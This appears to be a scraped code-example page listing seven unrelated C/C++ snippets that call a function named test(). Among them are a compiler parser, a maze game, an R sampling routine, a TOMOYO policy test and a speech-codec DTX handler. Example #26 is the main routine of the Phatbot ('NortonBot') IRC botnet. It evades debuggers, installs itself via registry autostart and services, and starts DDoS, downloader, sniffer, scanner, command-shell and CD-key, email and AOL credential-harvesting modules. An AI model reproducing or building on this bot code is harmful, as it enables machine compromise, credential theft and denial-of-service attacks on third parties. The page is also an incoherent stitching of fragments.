				declParam(def, paramName, type, &paramCount);
			}
			while(test(TComma));
		}

		expect(TRParen, true);
	}

	TypePtr returnType;
			
	if(firstType[token] || token == TIdent) // TODO: Types may be TIdent too, in certain circumstances
	{
		returnType = typeNameOrNewVar(true);
	}

	if(test(TLBrace))
	{
		auto const& body = statements();
		expect(TRBrace, true);

		def->body = exitScope<Expr>(body);
	}
	
	def->returnType = returnType;
	assert(paramCount == def->parameters.size());

	// TODO: Check for name collision
	mod->functions[def->name] = def;
	exitFunction();

	return def;
}
Пример #24
0
int main()
{
  if (test(2) != 0)
    abort ();
  return 0;
}
Пример #25
0
void Parser::constructor(string const& name, IntrusiveRefCntPtr<TypeDef> type, TypePtr const& typeRef)
{
	IntrusiveRefCntPtr<TypeConstructor> ctor(new TypeConstructor(name));
	type->constructors.push_back(ctor);
	ctor->type = typeRef;

	expect(TLParen);

	if(token != TRParen)
	{
		do
		{
			bool isLet = test(TLet);

			string name;

			// TODO: Common pattern?
			TypePtr type = maybeType(false);
			if(! type)
			{
				name = expectIdent();
				type = typeName(false);
			}

			ctor->members.push_back(TypeMember(name, type));
			++ctor->ctorParams;
		}
		while(test(TComma));
	}

	{
		string const& ctorName = name;
		// Constructor function
		IntrusiveRefCntPtr<FuncDef> ctorFunc(new FuncDef(ctorName));

		enterFunction(ctorFunc);
		enterScope(new Scope);

		// Constructor function has the same type parameters
		for(auto& p : type->typeParams)
			ctorFunc->typeParams.push_back(p);

		int dummy = 0;

		IntrusiveRefCntPtr<CreateExpr> body(new CreateExpr());

		body->ctor = ctor;

		for(int i = 0; i < ctor->ctorParams; ++i)
		{
			auto& member = ctor->members[i];
			auto p = declParam(ctorFunc, member.name, member.type->fresh(), &dummy);
			body->parameters.push_back(ExprPtr(new VarRef(p)));
		}

		ctorFunc->body = exitScope<Expr>(body);
		ctorFunc->returnType = typeRef;

		// TODO: Check for name collision
		mod->functions[ctorName] = ctorFunc;
		mod->constructorDefs[ctorName] = ctor;
		exitFunction();
	}

	expect(TRParen, true);
}
Пример #26
0
int CMainCtrl::Main(const char *szCmdLine, const char *szArgv0)
{	m_bRunning=true; m_bHashCheckFailed=false;

	if(szArgv0) m_sArgv0.Assign(szArgv0); else m_sArgv0.Assign("");
	if(szCmdLine) m_sCmdLine.Assign(szCmdLine); else m_sCmdLine.Assign("");

#ifdef LINUX
	// make the segmentation violation signal ignored
	signal(SIGSEGV, SIG_IGN);
	// make the broken pipe signal ignored
	signal(SIGPIPE, SIG_IGN);
#endif // LINUX

	// Parse command line
	m_cCmdLine.Parse(szCmdLine);

	// Activate debugging console
	if(m_cCmdLine.m_cConfig.bDebug) m_cConsDbg.Init(m_cCmdLine.m_cConfig.iDebugLevel);

	// Activate sockets
	g_bSocketsRunning=true;

#ifdef _WIN32
	// Detect if being debugged
	if(m_cDebugDetect.IsDebug()) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Being debugged, exiting...\n");
#endif // DBGCONSOLE
		m_bRunning=false;
		ExitProcess(1);
	}
#endif // _WIN32

#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Command line: \"%s\"...\n", szCmdLine);
#endif // DBGCONSOLE

	m_sNameVerStr.Format("NortonBot (%s) \"%s\" on \"%s\"", VERSION_PHATBOT, SYS_BUILD, SYS_PLATFORM);
#ifdef DBGCONSOLE
	m_cConsDbg.Log(1, "%s starting up...\n", m_sNameVerStr.CStr());
	m_cConsDbg.Log(2, "Debugging with debuglevel of %d...\n", m_cCmdLine.m_cConfig.iDebugLevel);
#endif // DBGCONSOLE



#ifdef _DEBUG
	test(); // while(true) Sleep(5000);
#endif // _DEBUG

	// Initialize base subsystems, don't swap
	m_cCommands.Init();
#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Commands module initialized...\n");
#endif // DBGCONSOLE
	m_cCVar.Init();
#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "CVar module initialized...\n");
#endif // DBGCONSOLE	
	m_cMac.Init();
#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "CMac module initialized...\n");
#endif // DBGCONSOLE
	m_cBot.Init();
#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "CBot module initialized...\n");
#endif // DBGCONSOLE
	
#ifdef WIN32
	if(g_pMainCtrl->m_cBot.do_stealth.bValue) { do_stealth(); }
	if(m_cCmdLine.m_cConfig.bService || m_cBot.as_service.bValue) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Starting service thread...\n");
#endif // DBGCONSOLE
		m_cService.Start(false);
	}
#endif // WIN32

#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Installing bot...\n");
#endif // DBGCONSOLE
	if(m_cBot.as_enabled.bValue || m_cBot.as_service.bValue)
		m_cInstaller.CopyToSysDir(m_cBot.bot_filename.sValue);
	m_cInstaller.Install();
#ifdef WIN32
	if(m_cBot.as_enabled.bValue) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Adding registry autostart...\n");
#endif // DBGCONSOLE
		m_cInstaller.RegStartAdd(m_cBot.as_valname.sValue, m_cBot.bot_filename.sValue); }

//	ServiceDel(m_cBot.as_service_name.sValue);

	if(m_cBot.as_service.bValue && !m_cInstaller.IsInstalled(m_cBot.as_service_name.sValue)) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Adding service...\n");
#endif // DBGCONSOLE
		m_cInstaller.ServiceAdd(m_cBot.as_service_name.sValue, m_cBot.bot_filename.sValue);
	}
	
	if(m_cBot.as_service.bValue && !m_cCmdLine.m_cConfig.bService) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Starting service...\n");
#endif // DBGCONSOLE
		if(m_cInstaller.ServiceStart(m_cBot.as_service_name.sValue)) {
			exit(0); } }

#endif // WIN32

#ifdef DBGCONSOLE
	m_cConsDbg.Log(7, "Initializing RNG...\n");
#endif // DBGCONSOLE
	// Initialize random number generator from system time
	init_random();

	// Receive a random nickname
	m_sUserName=RndNick(m_cBot.si_nickprefix.sValue.CStr());

	// Receive a random service name for NBSCanner
	m_sTmpSvcName=CompleteRandom().CStr();

	// Start the startup thread
	m_cStartupThread.Start(false);

#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Initializing subsystems...\n");
#endif // DBGCONSOLE
	// Initialize subsystems
	m_cIRC.Init(); m_cDownloader.Init(); m_cSpeedTest.Init(); m_cDDOS.Init();
	m_cRedirect.Init(); m_cRSLControl.Init();
	m_cProcessControl.Init(); m_cInstaller.Init(); m_cHarvest_CDKeys.Init();
	m_cLogic.Init();
#ifdef _WIN32
	m_cHarvest_EMails.Init(); m_cHarvest_AOL.Init(); m_cHarvest_Registry.Init();
	m_cPluginLoader.Init();
#endif // _WIN32
	
#ifdef _WIN32
	if(g_pMainCtrl->m_cBot.bot_cmdshell.bValue) m_cCmdShell.Init();
#endif // _WIN32

	// Execute the autostart in config.cpp
	m_cBot.Autostart();

	// Set server CVars
	g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_chanpass, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_chanpass->sValue.CStr());
	g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_mainchan, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_mainchan->sValue.CStr());
	g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_nickprefix, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_nickprefix->sValue.CStr());
	g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_port, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_port->sValue.CStr());
	g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_server, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_server->sValue.CStr());
	g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_servpass, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_servpass->sValue.CStr());
	g_pMainCtrl->m_cCVar.SetCVar(&g_pMainCtrl->m_cBot.si_usessl, g_pMainCtrl->m_cIRC.m_vServers.at(0)->si_usessl->sValue.CStr());

	CString sRndNick=RndNick(m_cBot.si_nickprefix.sValue.CStr());
	m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());

#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Starting threads...\n");
#endif // DBGCONSOLE

	// Start CIRC as a non-dynamic, auto-restarting and realtime thread
	m_cIRC.Start(false, true, true);
	
	m_cSendFile.m_iListenPort=g_pMainCtrl->m_cBot.bot_ftrans_port.iValue;
	m_cSendFile.m_pfnAcceptHandler=&CSendFileAccept;
#ifdef DBGCONSOLE
	m_cSendFile.m_sFriendlyName.Assign("SendFile");
#endif // DBGCONSOLE
	m_cSendFile.Start(false, true);

	m_cSendFileFTP.m_iListenPort=g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue;
	m_cSendFileFTP.m_pfnAcceptHandler=&CSendFileFTPAccept;
#ifdef DBGCONSOLE
	m_cSendFileFTP.m_sFriendlyName.Assign("FTP");
#endif // DBGCONSOLE
	m_cSendFileFTP.Start(false, true);

	m_cSniffer.Start(false, true);

	// Initialize scanner after autostart/thread initialization to be able to use CIRC
	m_cScanner.Init();

	// Start the main loop
#ifdef DBGCONSOLE
	m_cConsDbg.Log(7, "Starting the main loop...\n");
#endif // DBGCONSOLE

	m_cBot.RunScript(SCRIPT_ONSTART);
	int iRetVal=MainCtrl();
	m_bRunning=false;

	// Deactivate sockets
	g_bSocketsRunning=false;

	m_cSniffer.Join(); m_cSendFileFTP.Join(); m_cSendFile.Join();
	m_cIRC.Join(); m_cStartupThread.Join();
#ifdef _WIN32
	m_cService.Join();
#endif // _WIN32

#ifdef DBGCONSOLE
	m_cConsDbg.Log(7, "Terminated the main loop...\n");
#endif // DBGCONSOLE

	// Deactivate debugging console
	if(m_cCmdLine.m_cConfig.bDebug) {
#ifdef WIN32
//		system("pause");
#endif // WIN32
		m_cConsDbg.DeInit(); }

	return iRetVal; }
Пример #27
0
int main()
{
	
	int i,j;

	int brick_num;
	srand(time(NULL));
	int p_test,direc;
	while(1)
	{
		printf("map size = ? * ?");
		scanf("%d",&n);
		
		/*printf("brick number = ?");
		scanf("%d",&brick_num);
		shuff();
		for(i=0;i<brick_num;i++)
			map[brick[i]/n][brick[i]%n] = 1;
		*/
		quest();
		for(i=0;i<n;i++)
		{
			for(j=0;j<n;j++)
				printf("%d ",map[i][j]);
			printf("\n");
		}

		printf("choose a start point(0~%d):  ",n*n-1);
		scanf("%d",&p_now);
		p_test = test();
		while(p_test != 0)
		{

			printf("choose a direction (0=left, 1=up, 2=right, 3=down) :?\n");
			printf("you only have:\n");
			if(p_test%2 == 1)
				printf("left\n");
			p_test/=2;
			if(p_test%2 == 1)
				printf("up\n");
			p_test/=2;
			if(p_test%2 == 1)
				printf("right\n");
			p_test/=2;
			if(p_test%2 == 1)
				printf("down\n");
			scanf("%d",&direc);
			run(direc);
			printf("p_now = %d\n",p_now);
			for(i=0;i<n;i++)
			{
				for(j=0;j<n;j++)
				{
					if(i == p_now/n && j == p_now%n)
						printf("%3c ",'p');
					else
						printf("%3d ",map[i][j]);
				}
				printf("\n");
			}
			p_test=test();
			printf("p_test = %d\n",p_test);
		}
		map[p_now/n][p_now%n]=1;
		int die_flag =0;
		for(i=0;i<n;i++)
			for(j=0;j<n;j++)
				if(map[i][j]==0)
					die_flag=1;
		if(die_flag==0)
			printf("you win!!\n");
		else printf("you lose!!\n");
		printf("final map:\n");
		for(i=0;i<n;i++)
			{
				for(j=0;j<n;j++)
				{
					if(i == p_now/n && j == p_now%n)
						printf("%3c ",'p');
					else
						printf("%3d ",map[i][j]);
				}
				printf("\n");
			}


	}
}
Пример #28
0
SEXP arms (SEXP bounds, SEXP myldens, SEXP yprev, SEXP size, SEXP rho) {

/* to perform derivative-free adaptive rejection sampling with metropolis step */

/* bounds      : boundaries of the support of the density */
/* myldens     : R function to evaluate log density */
/* yprev       : previous value from markov chain */
/* size        : number of sampled values to be obtained */
/* rho         : R environment in which the logdensity is evaluated */

    double xl, xr, xinit[NINIT], convex=1.0;
    int i, npoint=100, nsamp, neval, err;
    SEXP ysamp;         /* sampled values */
    ENVELOPE *env;      /* rejection envelope */
    POINT pwork;        /* a working point, not yet incorporated in envelope */
    int msamp=0;        /* the number of x-values currently sampled */
    METROPOLIS *metrop; /* to hold bits for metropolis step */

    nsamp = INTEGER(size)[0];
    xl = REAL(bounds)[0];
    xr = REAL(bounds)[1];
    for (i=0; i<NINIT; i++)
        xinit[i] = xl + (i + 1.0) * (xr - xl)/(NINIT + 1.0);
    PROTECT( ysamp = NEW_NUMERIC(nsamp) );
        

    /* set up space required for envelope */
    /* env = (ENVELOPE *)malloc(sizeof(ENVELOPE)); */
    env = (ENVELOPE *)Calloc(1, ENVELOPE);
    if(env == NULL){
        /* insufficient space */
        error("insufficient space");
    }

    /* start setting up metropolis struct */
    /* metrop = (METROPOLIS *)malloc(sizeof(METROPOLIS)); */
    metrop = (METROPOLIS *)Calloc(1, METROPOLIS);
    if(metrop == NULL){
        /* insufficient space */
         error("insufficient space");
    }
    metrop->on = 1; 

    /* set up initial envelope */
    err = initial(xinit,NINIT,xl,xr,npoint,myldens,env,&convex,
                  &neval,metrop,rho);
    if(err) 
        error("Can set err...");

    /* finish setting up metropolis struct (can only do this after */
    /* setting up env) */
    if(metrop->on){
        if((REAL(yprev)[0] < xl) || (REAL(yprev)[0] > xr)){
            /* previous markov chain iterate out of range */
            error("previous markov chain iterate out of range");
        }
        metrop->xprev = REAL(yprev)[0];
        metrop->yprev = perfunc(myldens,env,REAL(yprev)[0],rho);
    }

    /* now do adaptive rejection */
    do {
        /* sample a new point */
        sample (env,&pwork);

        /* perform rejection (and perhaps metropolis) tests */
        i = test(env,&pwork,myldens,metrop,rho);
        if(i == 1){
            /* point accepted */
            REAL(ysamp)[msamp++] = pwork.x;
        } else if (i != 0) {
            /* envelope error - violation without metropolis */
            error("envelope error - violation without metropolis");
        }  
    } while (msamp < nsamp);

    /* nsamp points now sampled */

    /* free space */
    Free(env->p);
    Free(env);
    Free(metrop);

    UNPROTECT(1);
    return ysamp;
}
Пример #29
0
int main(int argc, char *argv[])
{
	static char self_domain[4096];
	ccs_test_pre_init();
	if (access(proc_policy_domain_policy, F_OK)) {
		fprintf(stderr, "You can't use this program for this kernel."
			"\n");
		return 1;
	}
	fp_level = fopen(proc_policy_profile, "w");
	if (!fp_level) {
		fprintf(stderr, "Can't open %s\n", proc_policy_profile);
		exit(1);
	}
	fprintf(fp_level, "255-COMMENT=Test\n255-TOMOYO_VERBOSE=disabled\n"
		"255-MAC_FOR_FILE=disabled\n255-MAX_ACCEPT_ENTRY=2048\n");
	fflush(fp_level);
	fp_domain = fopen(proc_policy_domain_policy, "w");
	if (!fp_domain) {
		fprintf(stderr, "Can't open %s\n", proc_policy_domain_policy);
		exit(1);
	}
	fp_exception = fopen(proc_policy_exception_policy, "w");
	if (!fp_exception) {
		fprintf(stderr, "Can't open %s\n",
			proc_policy_exception_policy);
		exit(1);
	}
	{
		FILE *fp = fopen(proc_policy_self_domain, "r");
		if (!fp) {
			fprintf(stderr, "Can't open %s\n",
				proc_policy_self_domain);
			exit(1);
		}
		memset(self_domain, 0, sizeof(self_domain));
		fgets(self_domain, sizeof(self_domain) - 1, fp);
		fclose(fp);
	}
	{
		FILE *fp = fopen(proc_policy_domain_status, "w");
		if (!fp) {
			fprintf(stderr, "Can't open %s\n",
				proc_policy_domain_status);
			exit(1);
		}
		fprintf(fp, "255 %s\n", self_domain);
		fclose(fp);
	}
	fprintf(fp_domain, "%s\n", self_domain);

	{
		int append_loop;
		for (append_loop = 0; append_loop < 2; append_loop++) {
			int truncate_loop;
			for (truncate_loop = 0; truncate_loop < 2;
			     truncate_loop++) {
				int create_loop;
				for (create_loop = 0; create_loop < 3;
				     create_loop++) {
					int rw_loop;
					for (rw_loop = 0; rw_loop < 4;
					     rw_loop++)
						test(rw_loop, truncate_loop,
						     append_loop, create_loop);
				}
			}
		}
	}
	fprintf(fp_level, "255-MAC_FOR_FILE=disabled\n");
	fflush(fp_level);
	printf("Done\n");
	return 0;
}
Пример #30
0
enum DTXStateType rx_dtx_handler(
                      dtx_decState *st,           /* i/o : State struct     */
                      enum RXFrameType frame_type /* i   : Frame type       */ 
                      )
{
   enum DTXStateType newState;
   enum DTXStateType encState;

   /* DTX if SID frame or previously in DTX{_MUTE} and (NO_RX OR BAD_SPEECH) */
   test(); test(); test();
   test(); test(); test();
   test(); test();   
   if ((sub(frame_type, RX_SID_FIRST) == 0)   ||
       (sub(frame_type, RX_SID_UPDATE) == 0)  ||
       (sub(frame_type, RX_SID_BAD) == 0)     ||
       (((sub(st->dtxGlobalState, DTX) == 0) ||
         (sub(st->dtxGlobalState, DTX_MUTE) == 0)) && 
        ((sub(frame_type, RX_NO_DATA) == 0) ||
         (sub(frame_type, RX_SPEECH_BAD) == 0) || 
         (sub(frame_type, RX_ONSET) == 0))))
   {
      newState = DTX;                                              move16();

      /* stay in mute for these input types */
      test(); test(); test(); test(); test();
      if ((sub(st->dtxGlobalState, DTX_MUTE) == 0) &&
          ((sub(frame_type, RX_SID_BAD) == 0) ||
           (sub(frame_type, RX_SID_FIRST) ==  0) ||
           (sub(frame_type, RX_ONSET) ==  0) ||
           (sub(frame_type, RX_NO_DATA) == 0)))
      {
         newState = DTX_MUTE;                                      move16();
      }

      /* evaluate if noise parameters are too old                     */
      /* since_last_sid is reset when CN parameters have been updated */
      st->since_last_sid = add(st->since_last_sid, 1);             move16();

      /* no update of sid parameters in DTX for a long while */
      /* Due to the delayed update of  st->since_last_sid counter
         SID_UPDATE frames need to be handled separately to avoid
         entering DTX_MUTE for late SID_UPDATE frames
         */
      test(); test(); logic16();
      if((sub(frame_type, RX_SID_UPDATE) != 0) &&
         (sub(st->since_last_sid, DTX_MAX_EMPTY_THRESH) > 0))
      {
         newState = DTX_MUTE;                                      move16();
      }
   }
   else 
   {
      newState = SPEECH;                                           move16();
      st->since_last_sid = 0;                                      move16();
   }
   
   /* 
      reset the decAnaElapsed Counter when receiving CNI data the first  
      time, to robustify counter missmatch after handover
      this might delay the bwd CNI analysis in the new decoder slightly.
   */    
   test(); test();
   if ((st->data_updated == 0) &&
       (sub(frame_type, RX_SID_UPDATE) == 0))
   {
      st->decAnaElapsedCount = 0;                                  move16();
   }

   /* update the SPE-SPD DTX hangover synchronization */
   /* to know when SPE has added dtx hangover         */
   st->decAnaElapsedCount = add(st->decAnaElapsedCount, 1);        move16();
   st->dtxHangoverAdded = 0;                                       move16();
   
   test(); test(); test(); test(); test();
   if ((sub(frame_type, RX_SID_FIRST) == 0)  ||
       (sub(frame_type, RX_SID_UPDATE) == 0) ||
       (sub(frame_type, RX_SID_BAD) == 0)    ||
       (sub(frame_type, RX_ONSET) == 0)      ||
       (sub(frame_type, RX_NO_DATA) == 0))
   {
      encState = DTX;                                              move16();
      
      /*         
         In frame errors simulations RX_NO_DATA may occasionally mean that
         a speech packet was probably sent by the encoder,
         the assumed _encoder_ state should be SPEECH in such cases.
      */
      
      test(); logic16(); 
      if((sub(frame_type, RX_NO_DATA) == 0) &&
         (sub(newState, SPEECH) == 0)) 
      {
         encState = SPEECH;                                       move16();
      }
      
      
      /* Note on RX_ONSET operation differing from RX_NO_DATA operation:
         If a  RX_ONSET is received in the decoder (by "accident")
         it is still most likely that the encoder  state
         for the "ONSET frame" was DTX.
      */      
   }
   else 
   {
      encState = SPEECH;                                           move16();
   }
 
   test();
   if (sub(encState, SPEECH) == 0)
   {
      st->dtxHangoverCount = DTX_HANG_CONST;                       move16();
   }
   else
   {
      test();
      if (sub(st->decAnaElapsedCount, DTX_ELAPSED_FRAMES_THRESH) > 0)
      {
         st->dtxHangoverAdded = 1;                                 move16();
         st->decAnaElapsedCount = 0;                               move16();
         st->dtxHangoverCount = 0;                                 move16();
      }
      else if (test(), st->dtxHangoverCount == 0)
      {
         st->decAnaElapsedCount = 0;                               move16();
      }
      else
      {
         st->dtxHangoverCount = sub(st->dtxHangoverCount, 1);      move16();
      }
   }
   
   if (sub(newState, SPEECH) != 0)
   {
      /* DTX or DTX_MUTE
       * CN data is not in a first SID, first SIDs are marked as SID_BAD 
       *  but will do backwards analysis if a hangover period has been added
       *  according to the state machine above 
       */
      
      st->sid_frame = 0;                                           move16();
      st->valid_data = 0;                                          move16();
            
      test(); 
      if (sub(frame_type, RX_SID_FIRST) == 0)
      {
         st->sid_frame = 1;                                        move16();
      }
      else if (test(), sub(frame_type, RX_SID_UPDATE) == 0)
      {
         st->sid_frame = 1;                                        move16();
         st->valid_data = 1;                                       move16();
      }
      else if (test(), sub(frame_type, RX_SID_BAD) == 0)
      {
         st->sid_frame = 1;                                        move16();
         st->dtxHangoverAdded = 0; /* use old data */              move16();
      } 
   }

   return newState; 
   /* newState is used by both SPEECH AND DTX synthesis routines */ 
}